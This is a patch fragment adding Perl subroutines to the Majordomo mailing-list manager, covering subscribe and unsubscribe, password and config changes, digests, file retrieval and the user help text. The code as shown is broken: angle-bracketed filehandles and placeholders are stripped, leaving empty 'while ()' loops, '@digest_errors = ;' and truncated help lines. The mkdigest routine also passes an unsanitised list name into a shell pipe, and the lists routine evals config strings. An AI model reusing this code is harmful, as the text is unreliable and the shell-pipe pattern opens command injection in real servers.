&abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
, are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
] + Subscribe yourself (or
if specified) to the named . + + unsubscribe $list4help [
] + Unsubscribe yourself (or
if specified) from the named . + "unsubscribe *" will remove you (or
) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
] + Find out which lists you (or
